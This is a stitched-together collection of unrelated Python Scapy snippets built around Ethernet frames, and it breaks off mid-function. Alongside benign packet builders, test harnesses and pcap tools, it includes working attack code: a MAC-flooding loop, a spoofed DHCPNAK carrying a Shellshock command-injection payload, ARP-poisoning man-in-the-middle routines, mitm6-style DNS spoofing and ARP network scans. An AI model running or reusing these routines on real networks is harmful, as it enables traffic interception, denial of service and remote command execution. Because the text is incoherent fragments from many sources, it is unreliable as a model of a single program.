def run(self):
hw = self.get_gateway_hw()
while(self.attack):
eth = Ether(dst=hw)
# print eth
eth.src = self.get_rand_mac_addr()
sendp(eth, iface=self.ifname)
def build_packet(args, parser):
src = args.src.split(':')
dst = args.dst.split(':')
# create the payload
base = "Hello from Python"
header_len = 14 + 20 + 8
data = base * ((args.length-header_len)/len(base) + 1)
data = data[0:args.length-header_len]
scap = Ether(src = args.srcmac, dst = args.dstmac)
scap = scap / IP(src = src[0], dst = dst[0])
scap = scap / UDP(sport = int(src[1]), dport = int(dst[1]))
scap = scap / data
try:
# checksum is computed when calling str(scap), e.g. when the packet is
# assembled
ret = str(scap)
except:
print("Packet parameters are invalid\n")
help_quit(parser)
if args.dump:
scap.show2()
return ret
def nak_request(self, packet):
# we are hereby handling the case where we detect one other dhcp server besides our own...
dhcp_server_mac = self.other_dhcp_servers.keys()[0]
dhcp_server_ip = self.other_dhcp_servers[self.other_dhcp_servers.keys()[0]]
print "Spoofing DHCPNAK from %s / %s" % (dhcp_server_mac, dhcp_server_ip)
nak = Ether(src=dhcp_server_mac, dst=packet[Ether].dst) / \
IP(src=dhcp_server_ip, dst=packet[IP].dst) / \
UDP(sport=67, dport=68) / \
BOOTP(op=2,
ciaddr=packet[IP].src,
siaddr=packet[IP].dst,
chaddr=packet[Ether].src,
xid=packet[BOOTP].xid) / \
DHCP(options=[
('server_id', dhcp_server_ip),
('message-type','nak'),
(114, "() { ignored;}; touch /tmp/test"),
('end')]
)
print "sending NAK:"
nak.show()
scapy.all.sendp(nak)
def inject_packet(self, iface, dst_mac):
ether_part = Ether(src='00:00:00:00:00:00', dst=dst_mac)
ip_part = IP(ttl=1, src='0.0.0.0', dst='224.0.0.1')
igmp_part = IGMP(type=0x11)
igmp_part.mrtime = (self.max_resp_time / 100) & 0xff
igmp_part.igmpize(ether=ether_part, ip=ip_part)
# Make this IGMP query packet as an unicast packet
ether_part.dst = dst_mac
sendp(ether_part / ip_part / igmp_part, iface=iface, verbose=False)
def simple_cpu_packet(header_version = 0,
packet_version = 0,
fabric_color = 0,
fabric_qos = 0,
dst_device = 0,
dst_port_or_group = 0,
ingress_ifindex = 1,
ingress_bd = 0,
mcast_grp = 0,
egress_queue = 0,
tx_bypass = False,
ingress_port = 1,
reason_code = 0,
sflow_sid = 0,
sflow_egress_port = 0,
inner_pkt = None):
ether = Ether(str(inner_pkt))
eth_type = ether.type
ether.type = 0x9000
fabric_header = FabricHeader(packet_type = 0x5,
header_version = header_version,
packet_version = packet_version,
pad1 = 0,
fabric_color = fabric_color,
fabric_qos = fabric_qos,
dst_device = dst_device,
dst_port_or_group = dst_port_or_group)
fabric_cpu_header = FabricCpuHeader(egress_queue = egress_queue,
tx_bypass = tx_bypass,
reserved1 = 0,
ingress_port = ingress_port,
ingress_ifindex = ingress_ifindex,
ingress_bd = ingress_bd,
reason_code = reason_code,
mcast_grp = mcast_grp)
fabric_payload_header = FabricPayloadHeader(ether_type = eth_type)
pkt = (str(ether)[:14]) / fabric_header / fabric_cpu_header
if sflow_sid:
pkt = pkt / FabricCpuSflowHeader(sflow_sid = sflow_sid, sflow_egress_port = sflow_egress_port)
pkt = pkt / fabric_payload_header
if inner_pkt:
pkt = pkt / (str(inner_pkt)[14:])
else:
ip_pkt = simple_ip_only_packet()
pkt = pkt / ip_pkt
return pkt
def main():
if len(sys.argv) != 3:
print "Usage: send_magic_pkt.py [flowID] [target_pathID]"
print "For example: send_magic_pkt.py 1 2"
sys.exit(1)
flowID, pathID = sys.argv[1:]
p = Ether(type=0x101, dst="ff:ff:ff:ff:ff:ff") / MagicPkt(flowID=int(flowID), pathID=int(pathID))
print p.show()
sendp(p, iface = "eth0")
def _monitor_recv(self):
clk = RisingEdge(self.clock)
self._pkt = ""
while True:
yield clk
ctrl, bytes = self._get_bytes()
if ctrl[0] and bytes[0] == _XGMII_START:
ctrl, bytes = ctrl[1:], bytes[1:]
while self._add_payload(ctrl, bytes):
yield clk
ctrl, bytes = self._get_bytes()
if self._pkt:
self.log.debug("Received:\n%s" % (hexdump(self._pkt)))
if len(self._pkt) < 64 + 7:
self.log.error("Received a runt frame!")
if len(self._pkt) < 12:
self.log.error("No data to extract")
self._pkt = ""
continue
preamble_sfd = self._pkt[0:7]
crc32 = self._pkt[-4:]
payload = self._pkt[7:-4]
if preamble_sfd != _PREAMBLE_SFD:
self.log.error("Got a frame with unknown preamble/SFD")
self.log.error(hexdump(preamble_sfd))
self._pkt = ""
continue
expected_crc = struct.pack("<I",
(zlib.crc32(payload) & 0xFFFFFFFF))
if crc32 != expected_crc:
self.log.error("Incorrect CRC on received packet")
self.log.info("Expected: %s" % (hexdump(expected_crc)))
self.log.info("Received: %s" % (hexdump(crc32)))
# Use scapy to decode the packet
if _have_scapy:
p = Ether(payload)
self.log.debug("Received decoded packet:\n%s" % p.show2())
else:
p = payload
self._recv(p)
self._pkt = ""
def __init__(self, ip, mac):
ether = Ether()
ether.src = mac # Default: network card mac
arp = ARP()
arp.op = arp.is_at
arp.psrc = ip
arp.hwsrc = mac
self.arp = arp
self.ether = ether
def sanitize(
filepath_in,
filepath_out=None,
sequential=True,
ipv4_mask=0,
ipv6_mask=0,
mac_mask=0,
start_ipv4="10.0.0.1",
start_ipv6="2001:aa::1",
start_mac="00:aa:00:00:00:00",
):
if not filepath_out:
timestamp = datetime.datetime.now().strftime("%y%m%d-%H%m%S")
filepath_out = os.path.splitext(filepath_in)[0] + "_sanitized_" + timestamp + os.path.splitext(filepath_in)[1]
mac_gen = MACGenerator(sequential=sequential, mask=mac_mask, start_mac=start_mac)
ip4_gen = IPv4Generator(sequential=sequential, mask=ipv4_mask, start_ip=start_ipv4)
ip6_gen = IPv6Generator(sequential=sequential, mask=ipv6_mask, start_ip=start_ipv6)
with open(filepath_in) as capfile:
# open cap file with pcapfile
cap = savefile.load_savefile(capfile, verbose=False)
# use scapy's pcapwriter
pktwriter = PcapWriter(filepath_out, append=True)
try:
for pkt in cap.packets:
# create scapy packet from pcapfile packet raw output
pkt = Ether(pkt.raw())
# MAC addresses
pkt.src = mac_gen.get_mac(pkt.src)
pkt.dst = mac_gen.get_mac(pkt.dst)
# IP Address
try:
pkt["IP"].src = ip4_gen.get_ip(pkt["IP"].src)
pkt["IP"].dst = ip4_gen.get_ip(pkt["IP"].dst)
except IndexError:
pkt["IPv6"].src = ip6_gen.get_ip(pkt["IPv6"].src)
pkt["IPv6"].dst = ip6_gen.get_ip(pkt["IPv6"].dst)
pktwriter.write(pkt)
finally:
pktwriter.close()
return filepath_out.split("/")[-1]
def main():
if len(sys.argv)<3:
print 'pass 2 arguments: <destination> "<message>"'
exit(1)
addr = socket.gethostbyname(sys.argv[1])
iface = get_if()
print "sending on interface %s to %s" % (iface, str(addr))
pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff') / IP(dst=addr) / UDP(dport=4321, sport=1234) / sys.argv[2]
pkt.show2()
sendp(pkt, iface=iface, verbose=False)
def main():
n = 4
for i in range(n):
p = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(dst="10.0.0.2")/TCP(reserved=2, dport=49152+i) / BytePkt(val=0)
# !!!! there is an error in scapy. The TCP stack still use 4 bit for the reserved key.
print p.show()
sendp(p, iface = "eth0")
#p = IP(dst="10.0.0.2")/TCP(reserved=2, dport=10000+i)
# !!!! there is an error in scapy. The TCP stack still use 4 bit for the reserved key.
#print p.show()
#send(p)
sleep(1)
def simple_multicast_fabric_packet(header_version = 0,
packet_version = 0,
fabric_color = 0,
fabric_qos = 0,
dst_device = 0,
dst_port_or_group = 0,
routed = 0,
outer_routed = 0,
tunnel_terminate=0,
ingress_tunnel_type=0,
ingress_ifindex = 1,
ingress_bd = 0,
mcast_grp_A = 0,
mcast_grp_B = 0,
ingress_rid = 0,
l1_exclusion_id = 0,
inner_pkt = None):
ether = Ether(str(inner_pkt))
eth_type = ether.type
ether.type = 0x9000
fabric_header = FabricHeader(packet_type = 0x2,
header_version = header_version,
packet_version = packet_version,
pad1 = 0,
fabric_color = fabric_color,
fabric_qos = fabric_qos,
dst_device = dst_device,
dst_port_or_group = dst_port_or_group)
fabric_multicast_header = FabricMulticastHeader(routed = routed,
outerRouted = outer_routed,
tunnelTerminate = tunnel_terminate,
ingressTunnelType = ingress_tunnel_type,
ingressIfindex = ingress_ifindex,
ingressBd = ingress_bd,
mcastGrpA = mcast_grp_A,
mcastGrpB = mcast_grp_B,
ingressRid = ingress_rid,
l1ExclusionId = l1_exclusion_id)
fabric_payload_header = FabricPayloadHeader(ether_type = eth_type)
if inner_pkt:
pkt = (str(ether)[:14]) / fabric_header / fabric_multicast_header / fabric_payload_header / (str(inner_pkt)[14:])
else:
ip_pkt = simple_ip_only_packet()
pkt = (str(ether)[:14]) / fabric_header / fabric_multicast_header / fabric_payload_header / ip_pkt
return pkt
def encapsulate(cls, packet_or_frame, src_mac, dst_mac):
if dst_mac == None:
dst_mac = Ethernet.DefaultDst
if src_mac == None:
src_mac = Ethernet.DefaultSrc
try:
if not packet_or_frame.haslayer(Ether):
packet_or_frame = Ether()/packet_or_frame
packet_or_frame.getlayer(Ether).src = src_mac
packet_or_frame.getlayer(Ether).dst = dst_mac
except AttributeError:
pass
return packet_or_frame
def sendPacket(self, packet, if_out, rota):
# Envia informação para interface de saída.
# Detecta o tipo do pacote para montar corretamente para ser enviado.
# Monta cabeçalhos ethernet de origem e destino.
# Verifica o MAC do endereço IP de destino
#resp = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=packet.dst), iface=if_out, timeout=2)
# #print "Resposta ARP destino %s : %s" % (packet.dst, resp)
# Monta cabeçalho ethernet
print rota.src_mac
print rota.dst_mac
#eth_dst = resp.src
#eth_src = resp.dst
eth = Ether(src=rota.src_mac, dst=rota.dst_mac)
eth.type = 2048
packet.show2()
#Envia pacote para a interface de saida delimitada.
sendp(eth/packet, iface=if_out)
def handle_read(self):
# 802.11 maximum frame size is 2346 bytes (cf. RFC3580)
# However, WiFi interfaces are always MTUed to 1500
dot11_rcvd_frame = self.fd.recv(2346)
# WEP handling is automagicly done by Scapy if conf.wepkey is set
# Nothing to do to decrypt (although not yet tested)
# WEP frames have Dot11WEP layer, others don't
#if DEBUG:
# if dot11_rcvd_frame.haslayer(Dot11WEP): # WEP frame
# os.write(1,"Received WEP from %s\n" % self._intf)
# else: # Cleartext frame
# os.write(1,"Received from %s\n" % self._intf)
# if VERB:
# os.write(1,"%s\n" % dot11_rcvd_frame.summary())
# if dot11_frame.getlayer(Dot11).FCfield & 1: # Frame is to-DS
# For now, we only take care of to-DS frames...
if dot11_rcvd_frame.getlayer(Dot11).addr1 != self._tap.bssid:
return
# One day, we'll try to take care of AP to DS trafic (cf. TODO)
# else: # Frame is from-DS
# if dot11_frame.getlayer(Dot11).addr2 != BSSID:
# continue
# eth_frame = Ether(dst=dot11_frame.getlayer(Dot11).addr1,
# src=dot11_frame.getlayer(Dot11).addr3)
if dot11_rcvd_frame.haslayer(SNAP):
eth_sent_frame = Ether(
dst=dot11_rcvd_frame.getlayer(Dot11).addr3,
src=dot11_rcvd_frame.getlayer(Dot11).addr2,
type=dot11_rcvd_frame.getlayer(SNAP).code)
eth_sent_frame.payload = dot11_rcvd_frame.getlayer(SNAP).payload
#if DEBUG:
# os.write(1, "Sending to %s\n" % ifname)
# if VERB:
# os.write(1, "%s\n" % eth_sent_frame.summary())
# Add Tun/Tap header to frame, convert to string and send
buf = "\x00\x00" + struct.pack("!H",eth_sent_frame.type) + str(eth_sent_frame)
os.write(self.fd, buf)
def send_random_traffic(dst):
dst_mac = None
dst_ip = None
src_mac = [get_if_hwaddr(i) for i in get_if_list() if i == 'eth0']
if len(src_mac) < 1:
print ("No interface for output")
sys.exit(1)
src_mac = src_mac[0]
src_ip = None
if src_mac =="00:00:00:00:00:01":
src_ip = "10.0.0.1"
elif src_mac =="00:00:00:00:00:02":
src_ip = "10.0.0.2"
elif src_mac =="00:00:00:00:00:03":
src_ip = "10.0.0.3"
else:
print ("Invalid source host")
sys.exit(1)
if dst == 'h1':
dst_mac = "00:00:00:00:00:01"
dst_ip = "10.0.0.1"
elif dst == 'h2':
dst_mac = "00:00:00:00:00:02"
dst_ip = "10.0.0.2"
elif dst == 'h3':
dst_mac = "00:00:00:00:00:03"
dst_ip = "10.0.0.3"
else:
print ("Invalid host to send to")
sys.exit(1)
total_pkts = 0
random_ports = random.sample(xrange(1024, 65535), 10)
for port in random_ports:
num_packets = random.randint(50, 250)
for i in range(num_packets):
data = randomword(100)
p = Ether(dst=dst_mac,src=src_mac)/IP(dst=dst_ip,src=src_ip)
p = p/TCP(dport=port)/Raw(load=data)
print p.show()
sendp(p, iface = "eth0")
total_pkts += 1
print "Sent %s packets in total" % total_pkts
def handle_read(self):
# | 4 bytes | 4 bytes | 18 bytes | 1500 bytes |
# Tap VLAN Ether Header Frame
buf = self.read(1526)
eth_rcvd_frame = Ether(buf[4:])
#if DEBUG:
# os.write(1,"Received from %s\n" % ifname)
# if VERB:
# os.write(1,"%s\n" % eth_rcvd_frame.summary())
# Prepare Dot11 frame for injection
dot11_sent_frame = self.radiotap()
dot11_sent_frame /= Dot11(
type = "Data",
FCfield = "from-DS",
addr1 = eth_rcvd_frame.getlayer(Ether).dst,
addr2 = self._tap.bssid)
# It doesn't seem possible to set tuntap interface MAC address
# when we create it, so we set source MAC here
if self._tap.smac == '':
dot11_sent_frame.addr3 = eth_rcvd_frame.getlayer(Ether).src
else:
dot11_sent_frame.addr3 = self._tap.smac
if self._tap.has_wep:
dot11_sent_frame.FCfield |= 0x40
dot11_sent_frame /= Dot11WEP(
iv = "111",
keyid = self._tap.key_id)
dot11_sent_frame /= LLC(ctrl = 3)/SNAP(code=eth_rcvd_frame.getlayer(Ether).type)/eth_rcvd_frame.getlayer(Ether).payload
#if DEBUG:
# os.write(1,"Sending from-DS to %s\n" % OUT_IFACE)
# if VERB:
# os.write(1,"%s\n" % dot11_sent_frame.summary())
# Frame injection :
sendp(dot11_sent_frame,verbose=0) # Send from-DS frame
def packet_out(self, in_port, out_port, data):
in_port = "CONTROLLER" if in_port == ofp.OFPP_CONTROLLER else in_port
print "PACKET OUT (%s => %s): " % (in_port, out_port)
hexdump(data)
if self.in_out_iface is not None:
try:
# disect the packet
pkt = Ether(data)
# remove payload from Ether frame
payload = pkt.payload
payload_type = pkt.type
pkt.remove_payload()
# insert Dot1Q shim with vlan_id = out_port
if self.in_out_stag is None:
## WARNING -- This was changed from 0x88a8 to 0x8100 when
## testing with the Intel XL710 quad 10GE boards. The
## XL710 does not support the TPID for the STAG.
##
## Long term, it should be changed back to 0x88a8!
##
pkt.type = 0x8100
new_pkt = pkt / Dot1Q(vlan=out_port, type=payload_type) / payload
else:
pkt.type = 0x8100
new_pkt = (
pkt /
Dot1Q(vlan=self.in_out_stag, type=0x8100) /
Dot1Q(vlan=out_port, type=payload_type) /
payload)
# send out the packet
sendp(new_pkt, iface=self.in_out_iface)
except Exception, e:
logging.exception("Could not parse packet-out data as scapy.Ether:\n")
logging.error(hexdump(data, 'return'))
def simple_unicast_fabric_packet(header_version = 0,
packet_version = 0,
fabric_color = 0,
fabric_qos = 0,
dst_device = 0,
dst_port_or_group = 0,
routed = 0,
outer_routed = 0,
tunnel_terminate = 0,
ingress_tunnel_type = 0,
nexthop_index = 0,
inner_pkt = None):
ether = Ether(str(inner_pkt))
eth_type = ether.type
ether.type = 0x9000
fabric_header = FabricHeader(packet_type = 0x1,
header_version = header_version,
packet_version = packet_version,
pad1 = 0,
fabric_color = fabric_color,
fabric_qos = fabric_qos,
dst_device = dst_device,
dst_port_or_group = dst_port_or_group)
fabric_unicast_header = FabricUnicastHeader(routed = 0,
outerRouted = 0,
tunnelTerminate = 0,
ingressTunnelType = 0,
nexthopIndex = 0)
fabric_payload_header = FabricPayloadHeader(ether_type = eth_type)
if inner_pkt:
pkt = (str(ether)[:14]) / fabric_header / fabric_unicast_header / fabric_payload_header / (str(inner_pkt)[14:])
else:
ip_pkt = simple_ip_only_packet()
pkt = (str(ether)[:14]) / fabric_header / fabric_unicast_header / fabric_payload_header / ip_pkt
return pkt
def build_msg(opts):
conf.checkIPaddr = False
msg_flag = 0
fam, hw = get_if_raw_hwaddr(str(world.cfg["iface"]))
tmp_hw = None
# we need to choose if we want to use chaddr, or client id.
# also we can include both: client_id and chaddr
if world.cfg["values"]["chaddr"] is None or world.cfg["values"]["chaddr"] == "default":
tmp_hw = hw
elif world.cfg["values"]["chaddr"] == "empty":
tmp_hw = convert_MAC("00:00:00:00:00:00")
else:
tmp_hw = convert_MAC(world.cfg["values"]["chaddr"])
if world.cfg["values"]["broadcastBit"]:
# value for setting 1000 0000 0000 0000 in bootp message in field 'flags' for broadcast msg.
msg_flag = 32768
msg = Ether(dst = "ff:ff:ff:ff:ff:ff",
src = hw)
msg /= IP(src = world.cfg["source_IP"],
dst = world.cfg["destination_IP"],)
msg /= UDP(sport = world.cfg["source_port"], dport = world.cfg["destination_port"])
msg /= BOOTP(chaddr = tmp_hw,
giaddr = world.cfg["values"]["giaddr"],
flags = msg_flag,
hops = world.cfg["values"]["hops"])
# BOOTP requests can be optionless
if (len(opts) > 0):
opts += ["end"] # end option
msg /= DHCP(options = opts)
msg.xid = randint(0, 256*256*256)
msg.siaddr = world.cfg["values"]["siaddr"]
msg.ciaddr = world.cfg["values"]["ciaddr"]
msg.yiaddr = world.cfg["values"]["yiaddr"]
return msg
def sendPerSecondc(timestamp,ip,dataSize,mac,packets):
numPacket=int(dataSize/(pktSize+pktOverhead))
if (numPacket>0):
if (ip in packetsMap):
p=packetsMap[ip];
else:
p=Ether(dst=mac)/IP(src=ip)/TCP()/completePayload;
packetsMap[ip]=p;
p.time=timestamp;
for i in range(numPacket):
packets.append(p);
remainedData=dataSize-numPacket*(pktSize+pktOverhead)
if (remainedData>0):
if (ip in packetsMap2):
p=packetsMap2[ip];
else:
p=Ether(dst=mac)/IP(src=ip)/TCP()
packetsMap2[ip]=p
p=p/''.zfill(min(pktSize,remainedData));
p.time=timestamp;
packets.append(p);
def sendPerSecondc(timestamp,ip,dataSize,mac,packets):
numPacket=int(dataSize/pktSize)
if (numPacket>0):
if (ip in packetsMap):
p=packetsMap[ip];
else:
p=Ether(dst=mac)/IP(src=ip)/TCP()/completePayload;
packetsMap[ip]=p;
p.time=timestamp;
for i in range(numPacket):
packets.append(p);
remainedData=dataSize-numPacket*pktSize
if (remainedData>0):
if (ip in packetsMap2):
p=packetsMap2[ip];
p['Raw'].load=''.zfill(remainedData);
else:
p=Ether(dst=mac)/IP(src=ip)/TCP()/''.zfill(remainedData)
packetsMap2[ip]=p
p.time=timestamp;
packets.append(p);
def build_msg(opts):
conf.checkIPaddr = False
msg_flag = 0
import sys
if sys.platform != "darwin":
fam, hw = get_if_raw_hwaddr(str(world.cfg["iface"]))
else:
# TODO fix this for MAC OS, this is temporary quick fix just for my local system
hw = convert_MAC("0a:00:27:00:00:00")
tmp_hw = None
# we need to choose if we want to use chaddr, or client id.
# also we can include both: client_id and chaddr
if world.cfg["values"]["chaddr"] is None or world.cfg["values"]["chaddr"] == "default":
tmp_hw = hw
elif world.cfg["values"]["chaddr"] == "empty":
tmp_hw = convert_MAC("00:00:00:00:00:00")
else:
tmp_hw = convert_MAC(world.cfg["values"]["chaddr"])
if world.cfg["values"]["broadcastBit"]:
# value for setting 1000 0000 0000 0000 in bootp message in field 'flags' for broadcast msg.
msg_flag = 32768
else:
msg_flag = 0
msg = Ether(dst="ff:ff:ff:ff:ff:ff",
src=hw)
msg /= IP(src=world.cfg["source_IP"],
dst=world.cfg["destination_IP"],)
msg /= UDP(sport=world.cfg["source_port"], dport=world.cfg["destination_port"])
msg /= BOOTP(chaddr=tmp_hw,
giaddr=world.cfg["values"]["giaddr"],
flags=msg_flag,
hops=world.cfg["values"]["hops"])
# BOOTP requests can be optionless
if len(opts) > 0:
opts += ["end"] # end option
msg /= DHCP(options=opts)
#transaction id
if world.cfg["values"]["tr_id"] is None:
msg.xid = randint(0, 256*256*256)
else:
msg.xid = int(world.cfg["values"]["tr_id"])
world.cfg["values"]["tr_id"] = msg.xid
msg.siaddr = world.cfg["values"]["siaddr"]
msg.ciaddr = world.cfg["values"]["ciaddr"]
msg.yiaddr = world.cfg["values"]["yiaddr"]
msg.htype = world.cfg["values"]["htype"]
return msg
def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
ether = Ether()
ether.src = my_mac
arp = ARP()
arp.psrc = gateway_ip
arp.hwsrc = my_mac
arp = arp
arp.pdst = target_ip
arp.hwdst = target_mac
ether = ether
ether.src = my_mac
ether.dst = target_mac
arp.op = 2
def broadcastPacket():
packet = ether / arp
sendp(x=packet, verbose=False)
broadcastPacket()
def cmd_arp_poison(victim1, victim2, iface, verbose):
"""Send ARP 'is-at' packets to each victim, poisoning their
ARP tables for send the traffic to your system.
Note: If you want a full working Man In The Middle attack, you need
to enable the packet forwarding on your operating system to act like a
router. You can do that using:
# echo 1 > /proc/sys/net/ipv4/ip_forward
Example:
\b
# habu.arpoison 192.168.0.1 192.168.0.77
Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77
Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.70
Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77
...
"""
conf.verb = False
if iface:
conf.iface = iface
mac1 = getmacbyip(victim1)
mac2 = getmacbyip(victim2)
pkt1 = Ether(dst=mac1)/ARP(op="is-at", psrc=victim2, pdst=victim1, hwdst=mac1)
pkt2 = Ether(dst=mac2)/ARP(op="is-at", psrc=victim1, pdst=victim2, hwdst=mac2)
try:
while 1:
sendp(pkt1)
sendp(pkt2)
if verbose:
pkt1.show2()
pkt2.show2()
else:
print(pkt1.summary())
print(pkt2.summary())
time.sleep(1)
except KeyboardInterrupt:
pass
def ETHSEND(self, fsm, net, mac, p, dst=None):
"""ETHSEND state; Encapsulate `p` in Ethernet frame and send to `mac`.
:param net: Associated `NET`.
:param mac: Associated `MAC`.
:param p: Ethernet packet to send.
:param dst: Ethernet address of destination [default=`MAC.broadcast`]
Upon completion this method returns to `returnstate` with the parameters
`net` and `mac`.
"""
# get parameters for Ethernet packet
src, htype = mac.addr, mac.htype
if dst is None: dst = mac.broadcast
ethertype = self.get_ethertype(p)
eth = Ether(src=src, dst=dst, type=ethertype)
eth.add_payload(p)
# update CRC
pkt = eth
if USE_CRC32: pkt = crcupdate(eth)
# send to TX port
self.log_send(pkt, src=src, dst=dst, type=ethertype)
txport = self.getport((mac, "TX"))
yield txport.send(fsm, [pkt])
def recv_msg_cpu(self, pkt):
packet = Ether(str(pkt))
if packet.type == 0x1234:
cpu_header = CpuHeader(packet.payload)
self.learn([(cpu_header.macAddr, cpu_header.ingress_port)])
runconf['range'] = rs
else:
assert False, "unhandled option"
return runconf
if __name__ == '__main__':
runconf=get_runtime_options()
pcapackets=rdpcap(runconf['input'])
plist=[]
count=0
for p in pcapackets:
if not 'UDP' in p: continue
vpd=False
for r in runconf['range']:
if p['UDP'].dport >= r[0] and p['UDP'].dport <= r[1]:
vpd=True
break
if not vpd: continue
d=[]
for i in range(6): d.append("%02x" % p['Raw'].load[i])
dst=":".join(d)
d=[]
for i in range(6): d.append("%02x" % p['Raw'].load[i+6])
src=":".join(d)
pro=p['Raw'].load[12]*0x100 + p['Raw'].load[13]
np=Ether(dst=dst, src=src, type=pro)/Raw(load=p['Raw'].load[14:])
np.time=p.time
plist.append(np)
if runconf['output']:
wrpcap(runconf['output'], plist)
"""
print(logo)
target_ip = input('target_ip: ')
# IP Address for the destination
# create ARP packet
arp = ARP(pdst=target_ip)
# create the Ether broadcast packet
# ff:ff:ff:ff:ff:ff MAC address indicates broadcasting
ether = Ether(dst="ff:ff:ff:ff:ff:ff")
# stack them
packet = ether/arp
result = srp(packet, timeout=3, verbose=0)[0]
# a list of clients, we will fill this in the upcoming loop
clients = []
for sent, received in result:
# for each response, append ip and mac address to `clients` list
clients.append({'ip': received.psrc, 'mac': received.hwsrc})
# print clients
print("Available devices in the network:")
print("IP" + " "*18+"MAC")
# Network discovery
from scapy.all import sr,srp,Ether,ARP,IP,TCP,conf
from snmp_library import *
# Conf verb to 0
conf.verb = 0
# Check the network
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst = '155.210.157.0'), timeout = 2)
# Para cada una de las repuestas snd y rcv son el paquete que has mandado y la respuesta que has recivido
for snd, rcv in ans:
print(rcv.sprintf(r"%Ether.src% - %ARP.psrc%"))
# Escaneo todos los puertos
#answers, un_answered = sr()
#
#for req, resp in answers:
# Compruebo si la respuesta es un SYN/ACK
#pass # Pass solamente esta para llenar el loop. Tu lo deberas borrar
# En caso de ser SYN/ACK cierro la conexion con un reset
def test_axi_stream_pipeline(dut):
"""Testing axi_stream_pipeline
"""
# start HW sim clock
cocotb.fork(Clock(dut.axis_aclk, PERIOD).start())
# Reset the DUT
dut._log.debug("Resetting DUT")
dut.axis_resetn <= 0
yield ClockCycles(dut.axis_aclk, 10)
dut.axis_resetn <= 1
dut._log.debug("Out of reset")
# Attach an AXI4Stream Master to the input pkt interface
pkt_master = AXI4StreamMaster(dut, 's_axis', dut.axis_aclk)
# Attach and AXI4StreamSlave to the output pkt interfaces
pkt_slave = AXI4StreamSlave(dut, 'm_axis', dut.axis_aclk)
# build the list of pkts and metadata to insert
pkts_meta_in = []
for i in range(20):
pkt_len = random.randint(50, 1000)
# build a packet
pkt = Ether(dst='aa:aa:aa:aa:aa:aa', src='bb:bb:bb:bb:bb:bb')
# pkt = pkt / ('\x11'*18 + '\x22'*32)
# pkt = pkt / ('\x11'*18 + '\x22'*32 + '\x33'*32 + '\x44'*32 + '\x55'*16)
pkt = pkt / ('\x11' * (pkt_len - 14))
rank = random.randint(0, 100)
# build the metadata
meta = Metadata(pkt_len=len(pkt),
src_port=0b00000001,
dst_port=0b00000100,
rank=rank)
tuser = BinaryValue(bits=len(meta) * 8, bigEndian=False)
tuser.set_buff(str(meta))
pkts_meta_in.append((pkt, tuser))
pkts_in = [tup[0] for tup in pkts_meta_in]
meta_in = [tup[1] for tup in pkts_meta_in]
# Read pkts out
slave_thread = cocotb.fork(pkt_slave.read_n_pkts(len(pkts_in)))
# Send pkts and metadata in the HW sim
yield pkt_master.write_pkts(pkts_in, meta_in)
yield slave_thread.join()
expected_pkts = pkts_in
expected_meta = meta_in
pkts_out = pkt_slave.pkts
meta_out = pkt_slave.metadata
error = False
for (exp_pkt, pkt, exp_meta, meta, i) in zip(expected_pkts, pkts_out,
expected_meta, meta_out,
range(len(expected_pkts))):
if str(exp_pkt) != str(pkt):
print 'ERROR: exp_pkt != pkt_out for pkt {}'.format(i)
error = True
if exp_meta.get_buff() != meta.get_buff():
print 'ERROR: exp_meta != meta_out for pkt {}'.format(i)
exp_meta = Metadata(exp_meta.get_buff())
meta = Metadata(meta.get_buff())
print 'exp_meta = {}'.format(exp_meta.summary())
print 'meta = {}'.format(meta.summary())
error = True
yield ClockCycles(dut.axis_aclk, 20)
if error:
print 'ERROR: Test Failed'
raise (TestFailure)
def send_dns_reply(p):
if IPv6 in p:
ip = p[IPv6]
resp = Ether(dst=p.src, src=p.dst) / IPv6(
dst=ip.src, src=ip.dst) / UDP(dport=ip.sport, sport=ip.dport)
else:
ip = p[IP]
resp = Ether(dst=p.src, src=p.dst) / IP(dst=ip.src, src=ip.dst) / UDP(
dport=ip.sport, sport=ip.dport)
dns = p[DNS]
# only reply to IN, and to messages that dont contain answers
if dns.qd.qclass != 1 or dns.qr != 0:
return
# Make sure the requested name is in unicode here
reqname = dns.qd.qname.decode()
# A query
if dns.qd.qtype == 1:
rdata = config.selfipv4
# AAAA query
elif dns.qd.qtype == 28:
rdata = config.selfaddr
# PTR query
elif dns.qd.qtype == 12:
# To reply for PTR requests for our own hostname
# comment the return statement
return
if reqname == config.selfptr:
#We reply with attacker.domain
rdata = 'attacker.%s' % config.localdomain
else:
return
# SOA query
elif dns.qd.qtype == 6 and config.relay:
if dns.opcode == 5:
if config.verbose or config.debug:
print('Dynamic update found, refusing it to trigger auth')
resp /= DNS(id=dns.id,
qr=1,
qd=dns.qd,
ns=dns.ns,
opcode=5,
rcode=5)
sendp(resp, verbose=False)
else:
rdata = config.selfaddr
resp /= DNS(id=dns.id,
qr=1,
qd=dns.qd,
nscount=1,
arcount=1,
ancount=1,
an=DNSRRSOA(rrname=dns.qd.qname,
ttl=100,
mname="%s." % config.relay,
rname="mitm6",
serial=1337,
type=dns.qd.qtype),
ns=DNSRR(rrname=dns.qd.qname,
ttl=100,
rdata=config.relay,
type=2),
ar=DNSRR(rrname=config.relay,
type=1,
rclass=1,
ttl=300,
rdata=config.selfipv4))
sendp(resp, verbose=False)
if config.verbose or config.debug:
print('Sent SOA reply')
return
#Not handled
else:
return
if should_spoof_dns(reqname):
resp /= DNS(id=dns.id,
qr=1,
qd=dns.qd,
an=DNSRR(rrname=dns.qd.qname,
ttl=100,
rdata=rdata,
type=dns.qd.qtype))
try:
sendp(resp, iface=config.default_if, verbose=False)
except socket.error as e:
print('Error sending spoofed DNS')
print(e)
if config.debug:
ls(resp)
print('Sent spoofed reply for %s to %s' % (reqname, ip.src))
else:
if config.verbose or config.debug:
print('Ignored query for %s from %s' % (reqname, ip.src))
print "Interface %s created. Configure it and use it" % ifname
# Speed optimization si Scapy does not have to parse payloads
Ether.payload_guess=[]
SNAP.payload_guess=[]
try:
while 1:
r = select([f,s],[],[])[0]
# frame from /dev/net/tun
if f in r:
# tuntap frame max. size is 1522 (ethernet, see RFC3580) + 4
buf = os.read(f,1526)
eth_rcvd_frame=Ether(buf[4:])
if DEBUG:
os.write(1,"Received from %s\n" % ifname)
